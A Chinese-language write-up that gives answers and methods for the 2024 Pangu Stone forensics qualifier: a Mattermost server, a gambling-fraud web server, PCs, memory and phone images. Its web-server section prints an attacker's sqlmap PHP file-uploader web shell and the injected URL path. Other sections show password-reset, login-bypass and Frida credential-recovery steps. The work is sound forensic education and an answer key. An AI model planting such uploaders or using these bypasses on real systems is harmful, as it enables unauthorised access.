2024盘古石取证晋级赛题解

2024 年 8 月 12 日 7点热度 0人点赞 0条评论

IM 服务器

仿真之后将虚拟机的网络连接类型改为 NAT. 由于服务器使用的是 DHCP, 并且开启了 sshd, 可以直接用 shell 连接工具连接.

可以看到服务器中运行着一个 docker 容器:

进入容器并且查看作为入口点的脚本 docker-entry.sh. 其中包含了 PostgreSQL 和 MatterMost 的配置文件信息:

docker exec -it 643626ab3d8b /bin/bash

PostgreSQL 的配置信息通过环境变量的方式传递

查看 /mm/mattermost/config/config-docker.json, 其中包含的关键信息

服务监听端口为 8065

SqlDriver 数据库的配置, 用户名 mmuser, 密码 mostest, 数据库 mattermost_test

使用浏览器访问 exit

ip:8065 可以访问 MatterMost 的 Web APP.

用 iptables 可以将容器内 PostgreSQL 使用的 5432 端口映射到虚拟机的 5432 端口, 以便后续使用工具连接:

docker inspect 643626ab3d8b | grep IPAddress
iptables -t nat -A DOCKER -p tcp --dport 5432 -j DNAT --to-destination 172.17.0.2:5432

通过navicat的ssh连接，连接容器内的pg数据库

在数据库的 user 表中可以看到加密存储的密码, 加密类型为 bcrypt.

都修改为123456

成功登录

分析内部IM服务器检材，在搭建的内部即时通讯平台中，客户端与服务器的通讯端口是：[答案格式：8888][*****]

8065

docker ps 可以看到其外部转发的是8065端口

或者 docker inspect 643626ab3d8b | grep -i port

分析内部IM服务器检材，该内部IM平台使用的数据库版本是： [答案格式：12.34][*****]

12.18

docker inspect 643626ab3d8b | grep -i version

或者直接sql语句查询

分析内部IM服务器检材，该内部IM平台中数据库的名称是：[答案格式：小写][*****]

mattermost_test

之前的方法或者看环境变量

docker inspect 64 | grep -i env -C 10

docker inspect 643626ab3d8b | grep -i db 也行

分析内部IM服务器检材，该内部IM平台中当前数据库一共有多少张表：[答案格式：1][*****]

82

分析内部IM服务器检材，员工注册的邀请链接中，邀请码是：[答案格式：小写数字字母][*****]

54d916mu6p858bbyz8f88rmbmc

在数据库的 teams 表中可以看到团队信息, 其中的 inviteid 是邀请码.

分析内部IM服务器检材，用户yiyan一共给fujiya发送了几个视频文件：[答案格式：数字][*****]

2

登录yiyan的账号，传了2个视频和4个音频

分析内部IM服务器检材，用户yiyan在团队群组中发送的视频文件的MD5值是：[答案格式：小写][*****]

f8adb03a25be0be1ce39955afc3937f7

查看频道的聊天记录，将yiyan上传的视频下载下来直接计算

分析内部IM服务器检材，一个团队中允许的最大用户数是：[答案格式：数字][*****]

50

登录管理员账号, 在后台可以看到相关设置:

分析内部IM服务器检材，黑客是什么时候开始攻击：[答案格式：2024-01-01-04-05][*****]

Z代表UTC时间，需要+8

2024-04-25-15-33

WEB 服务器

直接仿真之后将虚拟机的网络连接类型改为 NAT.

由于服务器使用的是 DHCP, 并且开启了 sshd, 可以直接用 shell 连接工具连接.

连接之后可以在 /root 目录下看到用于备份数据库的 backup.sh 和存放备份文件的 backup 目录.

还可以看到用于安装宝塔面板的 install.sh 脚本.

通过 bt 命令, 查看宝塔面板的相关信息并修改密码

访问 http://192.168.59.4:39802/39c115ad 使用修改后信息登录宝塔面板:

简单看看里面的东西，有 1 个数据库，有 1 个站点配置，1个定时计划

通过在宝塔看web运行日志，或者分析源码结构，知道后台地址模块在/Admin

01 分析网站服务器检材, 网站搭建使用的服务器管理软件当前版本是否支持 32 位系统

否

如图：

02 分析网站服务器检材, 数据库备份的频率是一周多少次

1

Linux中Crontab（定时任务）命令详解及使用教程_linux定时任务命令-CSDN博客

找到的数据库备份脚本, 猜测使用了 cron 设置了定时任，查看自动脚本任务

crontab执行时间计算 - 在线工具 (tool.lu)

03 分析网站服务器检材, 数据库备份生成的文件的密码是

IvPGP/8vfTLtzQfJTmQhYg==

查看/root/backup.sh 脚本的内容:

AES_PASS=$(echo -n "$DB_NAME" | openssl enc -aes-256-cbc -a -salt -pass pass:mysecretpassword -nosalt) 为 des3 加密的密钥

#!/bin/bash

DB_USER="root"
DB_PASSWORD="root"
DB_NAME="2828"
BACKUP_PATH="/root/backup"

cd $BACKUP_PATH

DATE=$(date +%Y%m%d%H%M%S)

AES_PASS=$(echo -n "$DB_NAME" | openssl enc -aes-256-cbc -a -salt -pass pass:mysecretpassword -nosalt)

BACKUP_FILE_NAME="${DB_NAME}_${DATE}.sql"

mysqldump -u $DB_USER -p$DB_PASSWORD $DB_NAME > $BACKUP_FILE_NAME

File_Name="${DB_NAME}.sql.gz"

tar -czvf - $BACKUP_FILE_NAME | openssl des3 -salt -k $AES_PASS -out $File_Name

rm -rf  $BACKUP_FILE_NAME

mysqladmin -u $DB_USER -p$DB_PASSWORD drop $DB_NAME --force

前面有提及DB_NAME是2828.所以我们把它填进去,运行该指令可以得到密码:

04 分析网站服务器检材, 网站前台首页的网站标题是

威尼斯

在宝塔的站点的域名管理中添加虚拟机 NAT 的 IP 地址:

但是访问发现直接跳转到google页面

下载源码，在网站index.php里发现了存在跳转的代码，直接注释就行

还有一个方法是修改host文件

在运行里输入：

C:\Windows\System32\drivers\etc\hosts选择使用记事本打开

然后添加内容，前面是你的虚拟机IP，后面是你自己网站的名字

分两行添加，点击保存

什么是host文件：

Hosts是一个没有扩展名的系统文件，可以用记事本等工具打开，其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”，当用户在浏览器中输入一个需要登录的网址时，系统会首先自动从Hosts文件中寻找对应的IP地址，一旦找到，系统会立即打开对应网页，如果没有找到，则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

需要注意的是，Hosts文件配置的映射是静态的。一旦一个域名和IP地址在Hosts文件中建立了映射关系，如果在网络上的计算机IP地址发生了更改，用户需要及时更新Hosts文件中的对应映射，否则将不能正常访问。

成功访问

同时源代码里面发现标题

05 分析网站服务器检材, 受害人第一次成功登录网站的时间是

2024-04-25 09:49:38

在网站的数据库中找到或修改后台的账号密码. 在宝塔的数据库页面找到数据库的管理界面, 尝试使用在备份脚本中获得的用户信息登录,

可能会存在一个报错

这样是因为数据库未正常启动, 查看日志可以发现是 mysql 的 sock 被占用, 需要手动删除 /tmp/mysql.sock.lock 文件. 之后通过命令 systemctl start mysqld 启动 mysqld.

结合之前找到的加密后的数据库备份文件, 需要从备份中恢复数据库. 用之前生成的密码对压缩包进行解密:

openssl des3 -d -salt -k IvPGP/8vfTLtzQfJTmQhYg== -in ./2828.sql.gz -out ./2828_dec.sql.gz
tar -zxvf ./2828_dec.sql.gz

或者

openssl des3 -d -salt -k IvPGP/8vfTLtzQfJTmQhYg== -in ./2828.sql.gz | tar -xzf -

导入sql文件恢复数据

mysql -u root -p 2828 < 2828_20240427154000.sql

可以在表 think_admin 中看到管理员的账户和加密后的密码

可以看到密码是md5加密的

cmd5爆破知道密码是123456(进去数据库替换也行)

但是后台登录还需要一个安全码

同样的源码暴搜,直接注释掉即可

直接登录，如果没有自动跳转，自己直接访问

在后台的用户管理界面可以看到名称为"zhiwanjing"的用户, 与受害人姓名拼音一致

在用户日志中可以看到, 该用户第一次登录的时间为 2024-04-25 09:49:38.

06 分析网站服务器检材, 前台页面中, 港澳数字竞猜游戏中, 进入贵宾厅最低点数是

100000

数据库修改zhiwanjing的密码，用zhiwanjing的账号登录前台

发现已被冻结

去管理员后台启动她的账号

登录成功，没有跳转的话还是要自己手动访问了

利用这个账号进入贵宾厅发现需要100000点

回到网站后台, 查看游戏房间设置->港澳数字竞猜高级房下注配置, 可以看到最低点数为 100000.

07 分析网站服务器检材, 受害人在平台一共盈利了多少钱

2000

在后台的输赢统计->客户输赢中看到

或者在我的里面找到下注明细也可以看到

08 分析网站服务器检材, 网站根目录下, 哪个路径存在漏洞

/Home/User/tkpwdpost.html

查看宝塔网站日志，可以看到利用的代码

使用宝塔自带的 web日志分析发现存在sql漏洞，路径在/Home/User/tkpwdpost.html

09 分析网站服务器检材, 黑客通过哪个文件上传的木马文件

tmpugklv.php

黑客在对 /Home/User/tkpwdpost.html 进行过注入之后, 访问了 /tmpugklv.php,然后有了一个con2.php文件

文件内容如下：

if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/www/wwwroot/touzilicai.com/> <input type=submit name=upload value=upload></form>";}?>

翻译一下，可以判断该文件的作用为上传文件.

10 分析网站服务器检材, 网站使用的数据库前缀是

think_

11 分析网站服务器检材, 木马文件的密码是

2335

导出网站源码，使用D盾扫描

可以看到con2.php是一个一句话木马

计算机取证

伏季雅

分析伏季雅的计算机检材，计算机最后一次错误登录时间是：[答案格式：2024-01-01-04-05-06][*****]

2024-04-25-09-53-24

分析伏季雅的计算机检材, 计算机中曾经浏览过的电影名字是

坠落的审判

分析伏季雅的计算机检材, 计算机中团队内部即时通讯软件的最后一次打开的时间是

2024-04-26-17-13-02

分析伏季雅的计算机检材, 计算机中有一款具备虚拟视频功能的软件, 该软件合计播放了多少个视频

1

接上题, 该软件的官网地址是

http://www.mvbox.cn/

仿真看到软件

百度搜：

或者

接上题, 该软件录制数据时, 设置的帧率是

15

分析伏季雅的计算机检材, 在团队内部使用的即时通讯软件中, 其一共接收了多少条虚拟语音

4

看即时通讯软件的设定的文件下载目录

可以看到下载了四条虚拟语音

同时结合之前的服务器也是能分析出来的

毛雪柳

分析毛雪柳的计算机检材，计算机插入三星固态盘的时间是

2024-04-25-19-08-08

分析毛雪柳的计算机检材，计算机操作系统当前的 Build 版本是

19045

分析毛雪柳的计算机检材，团队内部使用的即时通讯软件在计算机上存储日志的文件名是

main.log

都是一样的

或者因为还是MatterMost, 在 %APPDATA%\Mattermost\logs 中可以找到

分析毛雪柳的计算机检材, 伏季雅一月份实发工资的金额是

11200

在毛雪柳的手机的图片中可以看到这么一张图片，猜测就是打开仿真后excel的密码

图片其中包含了密码和提示词. 使用该密码可以解密回收站中的 账本.xlsx 文件:

使用密码打开找到1月份的数据即可

分析毛雪柳的计算机检材, 该团伙三月份的盈余多少

158268

义言

分析义言的计算机检材, 计算机连接过的三星移动硬盘 T7 的序列号是

X12720BR0SNWT6S

分析义言的计算机检材，计算机的最后一次正常关机时间是

2024-04-28-18-51-56

不确定，按照取证出来的就是2024-04-28 18:51:56

分析义言的计算机检材, 曾经使用工具连接过数据库, 该数据库的密码是

root

分析义言的计算机检材, 计算机中安装的 xshell 软件的版本号是

Build 0157

分析结果的可执行程序中可以看到 xshell 的版本号, 在 Xshell 官网的历史版本中可以通过 7,0,0,40 查找到对应的 build 号为 Build 0157.

也可以仿真之后解锁 BitLocker, 再运行 D 盘中的 Xshell 查看属性.

分析义言的计算机检材, 曾使用 shell 工具连接过服务器, 该服务器 root 用户的密码是

root

检材中的 Shell 工具有 Xshell 和 finnalshell. 由于 Xshell 的配置文件保存在用户文件夹中, 且未得到自动分析的结果, 因此可以判断保存了服务器用户配置的是 finnalshell.

或者在 finnalshell 的配置文件PC.001/新加卷(分区11)/软件夹/finalshell/conn/xo9vwa30e6yw43wf/ek2pvnot3be8q722_connect_config.json 中可以看到加密后的服务器密码(Des 加密)为 BHMVVkAIPDY9bj4SKcO5sQ==.

查看FinalShell已保存密码 | 在线工具 - 查看FinalShell密码免费 (uiucode.com)

GitHub - passer-W/FinalShell-Decoder: FinallShell 密码解密GUI工具

分析义言的计算机检材, 计算机曾接收到一封钓鱼邮件, 该邮件发件人是

[email protected]

分析结果中网易邮箱大师 -> 垃圾邮件中存在一封伪装成 flash 官方的邮件, 附件为一个 zip 压缩包, 发件人为 Unique <[email protected]>.

接上题，钓鱼邮件中附件的大小是多少MB

2.4MB

接上题, 上述附件解压运行后, 文件的释放位置是

C:\Windows\Temp\

接上题, 恶意木马文件的 MD5 值是

dc1ae95ce680036092006806aed0e127

接上题, 恶意木马文件的回连 IP 地址是

分析义言的计算机检材, 计算机中保存的有隐写痕迹的文件名

a78bd8b5bec5f60380782bd674c7443p.bmp

在回收站中可以看到一个名为 LSB_hide.exe 的可执行文件

搜索后发现是一个bmp图片隐藏工具，发现该应用会将文件隐藏在图片文件中, 并生成一个 bmp 格式的图片文件, 且图片文件大小会显著增大(位图文件较大).

搜索到一个bmp图片

导出并使用 LSB_hide.exe 提取:

分析义言的计算机检材，保存容器密码的文件大小是多少字节

20

找到vc加密容器

使用Extract内的密码，可以成功挂载vc容器

Extract 文件的大小为20字节

AI分析

分析义言的计算机检材, 一共训练了多少个声音模型

13

分析义言的计算机检材, 声音模型 voice2, 一共训练了多少条声音素材

17

PC.001/新加卷(分区11)/GPT-SoVITS-beta0217/output/asr_opt/voice2.list 为 voice2 模型输出音频切片的列表. 其中有 17 条.

分析义言的计算机检材, 声音模型 voice3, 一共训练了多少轮

8

模型训练日志在 PC.001/新加卷(分区11)/GPT-SoVITS-beta0217/logs/voice3/train.log

其中的 Epoch(代) 就是模型训练的轮次.8

分析义言的计算机检材, 声音克隆工具推理生成语音界面的监听端口是

9872

PC.001/新加卷(分区11)/GPT-SoVITS-beta0217/config.py 文件包含 SoVITS 的配置, 其中webui_port_infer_tts = 9872一行代表的是推理生成语音界面的监听端口.

分析义言的计算机检材, 电脑中视频文件有几个被换过脸

PC.001/新加卷(分区11)/Rope-Opal-03a/output/11.mp4 是一个换脸视频, 该目录是Rope-Opal的默认输出目录.

在分析义言的计算机检材, 计算机中保存的有隐写痕迹的文件名中找的 VC 容器中也有视频文件. 视频被加密, 无法播放.

在不解密的情况下, 可以通过文件名大致分辨出来那些是换脸视频.暂时不会

分析义言的计算机检材, 换脸 AI 程序默认换脸视频文件名是

target-1080p.mp4

在软件的根目录存在一个 videos 文件夹, 是默认的输入视频文件夹, 其中的 target-1080p.mp4 是该软件自带的示例视频.

分析义言的计算机检材, 换脸 AI 程序默认换脸图片的文件名称

fc3d6cb14c0d4e52adcf8717f2740b5c.jpeg

在软件的根目录存在一个 faces 文件夹, 是默认的输入图片文件夹, 其中存在一个图片文件 fc3d6cb14c0d4e52adcf8717f2740b5c.jpeg.

分析义言的计算机检材, 换脸 AI 程序模型文件数量是多少个

15

在软件的根目录存在一个 models 文件夹, 是存放模型的文件夹, 其中存在 15 个模型文件.

分析义言的计算机内存检材，该内存镜像制作时间(UTC+8)是：答案格式

2024-04-25-22-18

分析义言的计算机内存检材，navicat.exe的进程ID是

9336

vol.py -f memdump.mem --profile=Win10x64_19041 pslist | grep navicat.exe

IPA取证

分析毛雪柳的手机检材，记账 APP 存储记账信息的数据库文件名称是： [ 答案格式：tmp.db ，区分大小写 ][ ***** ]

default.realm

自动分析出来的数据库没有存储记账的信息然后翻文件夹中的document文件找到realm数据库

发现有东西，所以在这个里面

分析毛雪柳的手机检材，记账 APP 中， 2 月份总收入金额是多少： [ 答案格式： 1234][ ***** ]

11957

找到两笔收入一个是兼职一个是工资加一起就是11957

分析毛雪柳的手机检材，手机中团队内部使用的即时通讯软件中，团队老板的邮箱账号是：[答案格式：[email protected]][*****]

[email protected]

服务器顺下来就知道

接上题，该内部即时通讯软件中，毛雪柳和老板的私聊频道中，老板加入私聊频道的时间是：[答案格式：2024-01-01-04-05-06][*****]

2024-04-24-11-59-28

接上题，该私聊频道中，老板最后一次发送聊天内容的时间是：[答案格式：2024-01-01-04-05-06][*****]

2024-04-25-10-24-50

APK取证

分析伏季雅的手机检材，手机中诈骗APP的包名是：[答案格式：abc.abc.abc，区分大小写][*****]

w2a.W2Ah5.jsgjzfx.org.cn

分析伏季雅的手机检材，手机中诈骗APP连接的服务器地址是：[答案格式：127.0.0.1][*****]

192.168.137.125

也和打包地址一样就有点？。。

分析伏季雅的手机检材，手机中诈骗APP的打包ID是：[答案格式：_abc_abc.abc，区分大小写][*****]

__W2A__h5.jsgjzfx.org.cn

分析伏季雅的手机检材，手机中诈骗APP的主启动项是：[答案格式：abc.abc.abc，区分大小写][*****]

io.dcloud.PandoraEntry

分析义言的手机检材，分析团队内部使用的即时通讯软件，该软件连接服务器的地址是：[答案格式：127.0.0.1][*****]

192.168.137.97

从之前的计算机镜像和 IM 服务器镜像可以知道, 犯罪团队内部使用的即时通讯软件为 mattermost

那么在该应用的数据目录存放了软件的配置数据库Pixel.tar/data/data/com.mattermost.rn/files/databases/app.db和数据库 Pixel.tar/data/data/com.mattermost.rn/files/databases/aHR0cDovLzE5Mi4xNjguMTM3Ljk3OjgwNjU=.db.

在app.db数据库的表 Servers 中可以看到一条服务器配置信息:

url已经给出，其实另一个数据库名base64解密后也是这个地址

接上题，该软件存储聊天信息的数据库文件名称是：[答案格式：abc.abc，区分大小写][*****]

aHR0cDovLzE5Mi4xNjguMTM3Ljk3OjgwNjU=.db

软件的另外那个数据库里

接上题，该即时通讯软件中，团队内部沟通群中，一共有多少个用户：[答案格式：1][*****]

4

在数据库aHR0cDovLzE5Mi4xNjguMTM3Ljk3OjgwNjU=.db中的表ChannelMembership 中可见频道(题目中称为"群")的所有成员:

共计 4 个群组 id 和 4 个用户 id.，在channelinfo也能印证

接上题，该即时通讯应用的版本号是：[答案格式：1.1.1][*****]

2.15.0

据库app.db的表Info中保存了应用的基本信息, 字段version_number为版本信息

接上题，该即时通讯应用中，团队内部沟通中曾发送了一个视频文件，该视频文件发送者的用户名是：[答案格式：abc][*****]

yiyan

在数据库aHR0cDovLzE5Mi4xNjguMTM3Ljk3OjgwNjU=.db的表File中可以看到一条视频文件的记录

对应的post_id为hctctn8bnbd7meywjpmk3z9dhh.

在表Post中过滤字段id为上述消息 ID, 得到消息对应的user_id(用户 ID)为jrmi9kx8pfg9drc7b9dczh7neo

在表User中过滤字段id为上述用户 ID, 可以看到用户名.

接上题，分析该即时通讯的聊天记录，团队购买了一个高性能显卡，该显卡的显存大小是：[答案格式：20G][*****]

24G

在表Post中可一看到一条消息内容为京东的商品连接, 查询之后发现为显卡.

分析义言的手机检材，手机中装有一个具备隐藏功能的APP，该APP启动设置了密码，设置的密码长度是多少位：[答案格式：5][*****]

9

查看所有应用列表, 按照安装时间降序排序, 看到有一个"计算器"APP, 包名为"com.hld.anzenbokusufake"，是一个伪装成计算器的保险箱应用

使用雷电 APP 分析内建的 Frida 分析工具进行动态分析. 先安装 APP, 之后将检材中的两个 APP 的数据目录导入至模拟器

使用雷电 APP 分析自带的文件导入功能. /storage/emulated/0/.privacy_safe文件夹可以正常导入, 但无法直接写入到/data/data目录, 因此需要先将/data/data/com.hld.anzenbokusufake导入到/storage/emulated/0/目录下, 然后用虚拟机内的文件管理器手动复制.

导入之后, 在 Frida 脚本选项卡中运行字符串相等判断. 启动 APP 之后随便绘制一个手势密码(以从左到右, 从上到下的顺序依次连接为例), 会看到日志中显示将输入的手势密码与真实密码进行了比较.

得到了手势密码直接绘制

然后用同样的方法获得密保问题答案

还可以参考这个直接来做

Decrypting the ‘Calculator’ App(s) – Forensics – One Byte at a Time (wordpress.com)

有大量对/data/user/0/com.hld.anzenbokusufake/shared_prefs/share_privacy_safe.xml的写入操作

所以可以定位到share_privacy_safe.xml这个文件，把里面的字符串进行解密即可

接上题，分析上述隐藏功能的APP，一共隐藏了多少个应用：[答案格式：1][*****]

5

在/data/media/0/.privacy_safe/db/privacy_safe.db找到数据库文件

解密密钥即为Rny48Ni8aPjYCnUI

解密用之前的密钥Rny48Ni8aPjYCnUI打开数据库

查看HIDE_APP可以发现隐藏了5个应用

接上题，分析上述隐藏功能的APP，该APP一共加密了多少个文件：[答案格式：][*****]

5

在file_info里面可以发现加密了5个文件

接上题，分析上述隐藏功能的APP，该APP加密了一份含有公民隐私信息的文件，该文件的原始名称是：[答案格式：abc.txt][*****]

公民信息.xlsx

分析义言的手机检材，马伟的手机号码是：[答案格式：13012341234][*****]

18921286666

解密也是使用Rny48Ni8aPjYCnUI加上AES算法即可

分析义言的手机检材，手机中存有一个BitLocker恢复密钥文件，文件已被加密，原始文件的MD5值是：[答案格式：小写字母和数字][*****]

497f308f66173dcd946e9b6a732cd194

还得到了恢复密钥337469-693121-682748-288772-440682-300223-203698-553124

直接算md5了

手机取证

伏季雅

分析伏季雅的手机检材，手机的安卓ID是：[答案格式：小写字母和数字][*****]

9e6c9838dafe7ba0

分析伏季雅的手机检材，手机型号是：[答案格式：HUAWEI-FL56T][*****]

SM-G996N

分析伏季雅的手机检材，其和受害人视频通话的时间是：[答案格式：2024-01-01-04-05][*****]

2024-04-24-20-46-39

分析伏季雅的手机检材，手机中安装了一款记账APP，该记账APP存储记账信息的数据库名称是：[答案格式：abcabc，区分大小写][*****]

MoneyLoverS2

定位数据库位置
Samsung.zip\data\data\com.bookmark.money\databases

接上题，该记账APP登录的邮箱账号是：[答案格式：[email protected]][*****]

[email protected]

接上题，该记账APP中记录的所有收入金额合计是：[答案格式：1234][*****]

279002

SELECT
	SUM( transactions.amount ) 
FROM
	"transactions",
	"categories" 
WHERE
	categories.cat_id == transactions.cat_id 
	AND categories.cat_type == 1;

这个SQL语句是一个简单的查询语句，目的是计算指定类别类型为1的所有交易金额的总和。它从"transactions"表和"categories"表中选择数据，通过"cat_id"进行连接，然后使用"cat_type"来过滤出类别类型为1的交易，最后对金额进行求和。

或者

分析数据库的表，发现transactions为交易数据

1.去重
select DISTINCT cat_id from transactions;

2.确定交易类型(在label表)
SELECT search_name FROM label WHERE label_id IN (select DISTINCT cat_id from transactions);

只有salary为收入，去label表里找，id为36

SELECT sum(amount) FROM transactions WHERE cat_id=36

接上题，分析该记账APP中的消费记录，统计从2022-3-1（含）到2023-12-1（含）期间，用于交通的支出费用合计是：[答案格式：1234][*****]

6042

SELECT
	SUM( transactions.amount ) 
FROM
	"transactions",
	"categories" 
WHERE
	categories.cat_id == transactions.cat_id 
	AND categories.cat_type == 2 
	AND categories.cat_id == 19 
	AND transactions.created_date >= '2022-03-01' 
	AND transactions.created_date <= '2023-12-01';